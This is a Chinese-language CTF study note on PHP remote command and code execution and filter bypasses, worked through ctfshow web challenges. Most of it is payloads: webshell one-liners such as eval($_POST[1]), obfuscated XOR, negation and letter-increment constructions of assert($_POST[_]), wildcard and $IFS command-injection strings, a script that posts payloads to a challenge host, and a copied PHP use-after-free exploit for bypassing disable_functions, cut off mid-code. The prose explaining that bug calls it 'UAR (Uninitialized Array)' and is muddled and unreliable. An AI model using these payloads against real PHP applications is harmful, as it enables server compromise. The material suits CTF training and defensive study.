首先需要明白命令执行和代码执行的区别
命令执行:通过web应用调用系统命令的方式执行
命令行执行常用函数
特殊写法<?=passthru(‘ls’);?>效果与<?php passthru(‘ls’);?>相同,可以用于绕过php被过滤的情况
system():执行外部程序,并显示输出
<?php system("whoami");?>
passthru():效果与system()相同,当system不可以使用的时候可以尝试进行代替
<?php passthru("whoami");?>
exec():只会执行外部程序,需要用echo等使其输出
<?php echo exec("whoami");?>
pcntl_exec():在当前进程空间执行指定程序(不太常用)
<?php pcntl_exec("/bin/bash",array("whoami"))?>
shell_exec():通过shell执行命令并将完整的输出以字符串的方式返回
<?php echo shell_exec("whoami");?>
如果不可以使用()的时候可以用``代替php会尝试将反引号中的内容作为shell命令来执行并输出返回信息
<?php echo `whoami`?>
popen():用于执行系统命令并打开的函数
r读取命令,w写入命令
<?php
$file = popen('whoami', 'r');
echo fgets($file);
pclose($file);
?>
代码执行:通过某段脚本或编程语言的代码
代码执行常用的函数
eval():把参数中的字符当作php代码来执行
可以用来上传webshell
<?php eval($_POST[1]);?>
可以用来直接执行系统命令,字符串必须合法且以分号结尾
<?php eval("system(whoami);");?>
assert():与eval效果相同不赘述其原理
可以用来上传webshell
<?php assert($_POST[1])?>
可以用来直接执行系统命令,字符串必须合法且以分号结尾
<?php assert("system(whoami);");?>
call_user_func($a,$b):第一个参数作为调用函数,第二个函数作为回调函数的参数
<?php call_user_func($_POST["func"],$_POST["pass"])?>
func=assert&pass=phpinfo();
creat_function():通过执行代码字符串创建动态函数,用于动态创建并返回一个匿名函数
7.2.0 起被废弃,并自 PHP 8.0.0 起被移除
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
func=phpinfo();
array_map:为数组的每个元素应用回调函数,用于将一个或多个数组中的每个元素都传递给回调函数进行处理,并返回一个处理后的新数组
<?php
$array = array(0,1,2,3,4,5);
array_map($_POST['func'],$array);
?>
post:func=phpinfo
php5和php7中对eval等函数的不同操作
php5中
<?php
$a='assert';
echo $a("phpinfo();");
?>
php7中
<?php
$a='phpinfo';
($a)();
?>
Linux系统命令及其绕过
文件读取命令
cd 切换文件或者返回上一级目录
ls 展示目录下的文件
more 显示档案内容
less 与more相同可以进行字符搜索
head 查看文件的头几行
cat 文件查看 cat-n查看文件显示行号
tac 倒着查看文件
tail 查看尾几行 tail -f 会等待文件更新
nl 查看的时候显示行号
od 以二进制形式查看文件
vi 编辑器 vim编辑器+写代码工具
sort 查看方式
uniq 查看方式
grep 查看文件
highlight_file() 读取文件并高亮显示
file_get_contents()
fgets()
file()
readfile()
show_resource() 读取文件并高亮显示
paste 多个文件的内容按列合并在一起。该命令从每个输入文件中读取一行文本,并在输出中使用制表符分割他们
diff 用于比较文本文件之间差异的命令。可以帮助用户查找和标识文件之间的修改、添加或删除行等差异
curl
base64 将文件以base64的方式是输出
hex 将文件以hex的方式是输出
unicode 将文件以Unicode的方式是输出
管道符绕过
回顾一下管道符的知识点
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行,如果前面是false就不执行后面的直接结束
实战,参考ctfshow web入门42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
此题还需要了解/dev/null 2>&1
/dev/null 是一个 Linux 命令,用于丢弃命令输出,即不显示标准输出。
2>&1 表示将标准错误输出重定向到标准输出(这也会被丢弃)。
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
可以利用管道符对/dev/null命令进行截断
?c=tac flag.php||
变式题,参考ctfshow web入门50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
剩下tac的文件读取方式,但是flag被过滤了
Linux中破坏结构的方法
回顾一下Linux中可以用于添加破坏结构并且能够使命令成功执行的一些方法
1.使用”破坏结构
2.使用\破坏结构
3.使用通配符
4.环境变量{$IFS}和$IFS
$IFS简单引用变量,后面无紧跟字符,普通使用
{$IFS}精准引用变量,可拼接其他字符串,拼接、绕过、注入、变量后跟字符场景
5.未定义的变量ca$xt shell.php
6.拼接
a=l;b=s;$a$b ls
a=cat;b=/root/shell.php;$a<$b
a=ca;b=t${IFS}/root/shell.p;c=hp;d=$a$b$c;$d
这里利用”破坏一下结构就能绕过了
?c=tac<fla''g.php||
再来一道变式题,用于详细解释$IFS和{$IFS}的区别
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
空格被过滤了同时空格的编码形式也被过滤了,可以考虑使用$IFS但是会出现一定的问题
?c=ca''t$IFSfl?g.php//并没有拿到flag
$IFSfl?g.php 中,Bash 会尝试解析变量名 IFSfl(不是你想要的 IFS)。
由于没有 {} 包裹,$IFSfl 是非法或未定义的变量 → 为空
所以最终拼接成的是:catfl?g.php,不包含空格,也就不是合法命令
由于正则匹配不到关键词 "cat",就直接执行了 catfl?g.php → 报错或找不到文件
如果要使用$IFS需要添加\,$IFS\fl?g.php可以正常解析
所以此题正确的payload是使用${IFS}
?c=ca”t{$IFS}fl?g.php
?c=ca”t$IFS\fl?g.php
输入输出重定向+通配符绕过
适用于要读取的文件名被过滤
回顾一下通配符的知识点
1.*表示匹配任意数量的任意字符(包括空)
2.?匹配任意单个字符
3.[a-z]匹配范围内的字符
4.[!a~z]或者[^a-z]匹配除范围以外的任意字符
5.{a,b,c}匹配多个字符中的任意一个
回顾一下输入输出重定向的知识点
1.>输入重定向(覆盖文件):将某个命令执行的结果写入到某个文件中,会覆盖文件,不存在文件会新建
2.>>输入重定向(追加到文件末尾):将某个命令执行的结果写入到某个文件中,将其追加到末尾
3.<输出重定向:将文件中的内容当作命令执行
实战payload,此处参考ctfshow web入门29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
利用通配符+输出重定向读取flag.php拿到对应的flag
?c=system("cat f* >1.txt");
文件包含绕过
适用于过滤了()导致一些php的函数无法使用
一些不需要()的php函数
include require include_once require_once die echo print
回顾一下文件包含中伪协议的知识点
1.php://filter/convert-base64-encode/resource=
2.data://text/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=
*3.伪协议包含文件的时候是不支持通配符的使用的
实战payload,此处参考ctfshow web入门36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
此处过滤了数字字母,_也可以当作变量名使用,可以使用文件包含来绕过
?c=include$_GET[_]?>&_=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[_]?>&_=data://text/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=
针对第三点的实战,此处参考ctfshow web入门37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
第一反应是用伪协议将flag.php包含进来,但是过滤了文件名flag,没有多疑伪协议包含文件的时候直接利用了通配符?,试了半天出不来。只能用data协议通过base64编码绕过。
?c=data://text/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=
变式题,此处参考ctfshow web入门39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
这里还是可以用文件包含,但是不能用data://text/plain;base64的方法,因为data://text/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=后面会和.php进行拼接导致出错。只需要用普通的data协议就行了此时,?>为php结束符号,后面拼接的.php会被忽略掉,不用管。
?c=data://text/plain,<?php passthru("tac fla*.php")?>
无参RCE绕过
适用于过滤了大部分的字符
1.利用内置函数进行无参RCE
一些无参RCE知识点的补充
print_r()输出内容可以用var_dump、echo、var_export、print代替
用print和echo这两个无法打印数组需要利用implode函数将数组转换成字符串再打印,或者进行json_encode进行json格式的编码后再输出
c=echo(implode(“—“,scandir(“/”)));
c=echo(json_encode(scandir(“/”)));
getcwd()查看当前工作目录
scandir()扫描当前目录及文件输出为数组
array_revers()数组倒置
next()函数指向从第一个指向第二个
show_source()查看文件的内容
实战payload,此处参考ctfshow web入门40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了非常多的字符,异或,或,与都被过滤了无法使用运算类型的RCE,因此想到了通过内置函数来进行无参RCE
首先查看当前的目录
?c=print_r(getcwd());

之后扫描当前目录将其以数组的形式输出
?c=print_r(getcwd(scandir()));

将数组倒置,并且指向第二个元素
?c=print_r(array_revers(getcwd(scandir())));

最后读取就行了
?c=print_r(show_source(array_revers(getcwd(scandir()))));

2.利用|运算脚本进行无参RCE
骚姿势之利用|运算达成无参RCE
原理与异或运算的无参RCE一样
对大佬的脚本进行详细解析
import re
import requests
url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"
a=[]
ans1=""
ans2=""
for i in range(0,256)://这个 `for` 循环遍历从 0 到 255 的所有整数,代表了所有可能的 ASCII 字符。
c=chr(i)//`chr(i)` 将数字 `i` 转换为对应的字符。
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
if(tmp):
continue
#print(tmp.group(0))
else:
a.append(i)//如果字符是匹配的(即属于这些可接受字符),则跳过这个字符(`continue`),否则把字符的 ASCII 码加入列表 `a`。
# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="ls" #参数
def myfun(k,my)://函数的目的是通过位运算 (`|`,按位或操作) 来生成与字符的 ASCII 值匹配的两个数字,并将其分别存入 `ans1` 和 `ans2` 中。
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k]))://检查 `a[i]` 和 `a[j]` 通过按位或运算得到的值是否等于 `my[k]` 的 ASCII 值。如果满足条件,就把对应的字符 `a[i]` 和 `a[j]` 加入 `ans1` 和 `ans2`。
ans1+=chr(a[i])
ans2+=chr(a[j])
return;
for k in range(0,len(mya)):
myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"
data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)
实战,参考ctfshow web入门41(payload就是上述脚本)
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
3.利用通配符进行无参RCE
参考前面通配符的知识点可以利用?构造无参RCE
实战,参考ctfshow web入门54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
grep文件读取命令+{$IFS}+‘’+?进行绕过
?c=grep${IFS}'{'${IFS}fl???php
变式题,参考ctfshow web入门55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题比较变态的地方在于拦截了小写的所有字母,因此好像无法利用文件读取的命令
Linux知识点补充
Linux 系统下一切皆文件,命令也是文件是/bin目录下存放的文件,其中base64是含有数字的命令,可以将文件以base64的形式进行输出不是所有的服务器都支持,此题可以利用
?c=/???/????64 ????.???
4.上传并可控文件进行无参RCE
参考题目,ctfshow web入门56
参考博客https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html#poc
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这里是命令执行还无法利用运算无参RCE,看似毫无解法
Linux知识点补充
1.shell下可以利用.来执行任意脚本.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。用.file执行文件,是不需要file有x权限的
2.Linux文件名支持用glob通配符代替
如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行,这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
我们需要上传文件的POST请求包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://f135ee89-cbf7-464b-9e19-a07aec56fd3f.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
还需要解决/tmp/phpXXXXXX中字母的出来,glob支持用[^x]的方法来构造“这个位置不是字符x,glob支持利用[0-9]来表示一个范围”翻开ascii码表,可见大写字母位于@与[之间/tmp/phpXXXXXX就可以表示为/*/?????????或/???/????????[@-[]]


5.$(())绕过
参考题目,ctfshow web入门57
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
只需要传入36就能拿到flag
Linux知识点补充
$(())=0
$((~ $(()) ))=-1
基于次知识点构造出$((~-37))就可以得到36
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
6.利用异或运算脚本绕过
简述原理
a ^ payload = c
payload = a ^ c
<?php
$shell = "_POST";
$result1 = "";
$result2 = "";
for($num=0;$num<strlen($shell);$num++)
{
for($x=33;$x<126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo "'" . $result1;
echo "'^'";
echo $result2 . "'";
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
?>
构造payload
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
?>
7.利用取反脚本绕过
构造payload
<?php
$a = urlencode(~'phpinfo');
echo $a;
// %8F%97%8F%96%91%99%90
?>
基于此构造payload
<?php
$_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab"; //得到_POST,此时$__="_POST"
$___ = $$__; //$___=$_POST
$_($___[_]); //assert($_POST[_])
?>
$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);
8.中文字符截取绕过
原理简述
php > echo ~('瞰'[1]);
a
php > echo ~('和'[1]);
s
php > echo ~('和'[1]);
s
php > echo ~('的'[1]);
e
php > echo ~('半'[1]);
r
php > echo ~('始'[1]);
t
基于此可以构造出payload
.=复合运算符
$x="Hello";
$x .= " world!";
echo $x; // 输出Hello world!
<?php
$__=('>'>'<')+('>'>'<'); //True+True=2;$__=2
$_=$__/$__; //$_=2/2=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
// 得到assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
// 得到_POST
$_=$$_____;
// 得到$_POST数组
$____($_[$__]);
// 相当于执行了assert($_POST[2])
?>
9.纯字母递增绕过
原理简述
在处理字符变量的算数运算时,PHP沿袭了Perl 的习惯,而非C的。例如,在Perl中$a='Z'; a++; 将把 a变成AA,注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z) 。递增/递减其他字符变量则无效,原字符串没有变化。
<?php
$a = 'a';
$a ++;
var_dump($a);
$a --;
$a --;
var_dump($a);
var_dump($a);
?>
后续无论多少次--都不会改变因此$a='b'
当$a='Z'的时候
<?php
$a = 'Z';
$a ++;
var_dump($a);
$a --;
$a --;
var_dump($a);
var_dump($a);
?>

数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:再取这个字符串的第一个字母,就可以获得’A’了。
基于此构造出payload
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=@$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
@$___($_[_]); // ASSERT($_POST[_]);
?>
源码劫持输出缓冲绕过
参考题目,ctfshow web入门71
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
缓冲区知识点补充
缓冲区(Buffer)就是在内存中预留指定大小的存储空间用来对I/O的数据做临时存储,这部分预留的内存空间叫缓冲区。也就是说,在内存空间中预留了一定的存储空间,这些存储空间用来缓冲输入或输出的数据,这部分预留的空间就叫做缓冲区。
ob_start()开启了缓冲控制
ob_get_contents:返回输出缓冲区的内容,只是得到缓冲区的内容,但不清除它。
ob_end_clean:清空(擦除)缓冲区并关闭输出缓冲。
此题进行了缓冲控制将要输出的数据塞入输出缓冲中,源码劫持了输出缓冲并且将数字和字母替换成了?,所以最后输出的全是?

绕过方法
方法一利用函数提前将输出缓冲中的数据输出
在劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:
ob_flush();
ob_end_flush();
方法二提前终止程序,执行完了代码之后直接退出而不进入输出缓冲中
提前终止程序,即执行完代码直接退出,可以调用的函数有:
exit();
die();
?c=echo(json_encode(scandir("/flag.php")));die();
变式题,ctfshow web入门72
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
看似源码一样,但是尝试后发现只能读取当前的目录,无法读取其他的目录
PHP安全指令知识补充
原因是开启了open_basedir,open_basedir是PHP的一个安全配置指令,用来限制PHP脚本只能访问访问特定的目录,但是不允许访问其它的目录所以根目录无法被访问
glob伪协议绕过
PHP伪协议中的glob伪协议可以用于获取指定模式的文件路径列表,可以用于远程读取文件系统或者压缩文件中的文件列表,其筛选目录不受open_basedir的限制,可以用于绕过
c=$a=new DirectoryIterator("glob:///*");
//创建了一个新的 `DirectoryIterator` 实例,并将它赋值给 `$a` 和 `$c` 两个变量。
//`DirectoryIterator` 是 PHP 中的一个类,用于遍历指定目录中的文件。
//glob:///*是一个特殊的路径模式,它使用了 `glob` 语法来指定要查找的文件。具体来说,`glob:///*` 表示从根目录开始匹配所有的文件和文件夹。
foreach($a as $f)
{
echo($f->__toString().' ');//`$f->__toString()` 调用 `DirectoryIterator` 类的 `__toString()` 方法,该方法会返回当前文件或目录的路径(作为字符串)。
}
exit(0);
现在只是确定了flag文件存在的位置,还需要读取文件,但是读取文件的时候又受到了open_basedir()限制,这里需要利用UAF脚本进行绕过
PHP的UAR漏洞
PHP UAF漏洞知识点补充
uaf漏洞此漏洞利用PHP垃圾收集器中存在三年的一个 bug,通过PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令。
PHP UAR(Uninitialized Array)垃圾回收漏洞 是一种与 PHP 内存管理相关的安全漏洞,涉及到 PHP 的垃圾回收机制(GC)以及数组的未初始化状态。该漏洞最早出现在 PHP 7 版本中,并通过特定的方式,利用 PHP 垃圾回收机制中的漏洞实现攻击。下面是简要的概述:
- 问题背景:
在 PHP 中,垃圾回收机制负责管理内存的分配和释放,确保不会出现内存泄漏。当一个变量不再被引用时,垃圾回收机制会将其销毁并回收内存。在 PHP 中,数组是非常常见的数据结构,且垃圾回收机制会追踪和清理未使用的数组。
UAR(Uninitialized Array)问题,简单来说,是 PHP 在处理某些数组操作时,错误地认为一个数组对象被初始化或已经不再使用,从而在垃圾回收时过早地释放掉这个数组内存,导致数据损坏或者内存泄漏等问题。
- 漏洞触发条件:
UAR 漏洞通常在以下情况下出现:
- 数组的元素被删除或重置时。
- PHP 引擎错误地处理了数组引用和垃圾回收之间的关系。
- 代码中存在数组未完全初始化的情况,或者存在对未初始化的数组元素进行操作的行为。
- 漏洞原理:
当 PHP 引擎执行垃圾回收时,它需要标记和清理不再使用的内存。如果数组被认为是“未初始化”的(即,数组中没有实际数据,或者数组没有持久化的数据引用),PHP 可能会错误地回收这些数组,而不是将它们保持在内存中,或者清除它们的部分元素。
攻击者可以通过构造特定的代码,使得这些未初始化的数组触发垃圾回收机制,从而导致:
- 内存泄漏:敏感数据被错误清除或覆盖,导致数据丢失。
- 数据篡改:攻击者可以利用这种问题篡改数组的状态,从而影响应用的正常行为。
- 信息泄露:通过特定操作,可能导致泄露一些本不该泄露的内存内容。
- 漏洞利用:
攻击者利用这个漏洞通常需要:
- 通过某些特定的输入触发数组的“未初始化”状态。
- 利用垃圾回收的不当行为,执行特定的内存操作或数据篡改。
攻击者可以通过精心构造的输入来触发垃圾回收过程,使得内存释放不当,从而控制或者泄漏敏感信息。
- 防范措施:
为了避免 UAR 垃圾回收漏洞的出现,开发者可以采取以下措施:
- 确保数组初始化:在使用数组之前,确保它们已经正确初始化并包含期望的值。
- 避免直接删除数组元素:避免直接删除数组元素或对其进行未初始化的操作。应当始终确保数组的引用和数据完整性。
- 升级 PHP 版本:该漏洞通常存在于较早的 PHP 版本中(如 PHP 7.x),因此,升级到最新版本的 PHP 会有助于修复该问题。PHP 的开发团队已经发布了多个版本修复了该漏洞。
- 垃圾回收相关的内存管理增强:对于开发者来说,了解垃圾回收机制的工作原理,并对数组和对象的生命周期进行更精细的管理,可以减少这类漏洞的发生。
UAR脚本(大佬脚本的搬运)
c=function ctfshow($cmd) { global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
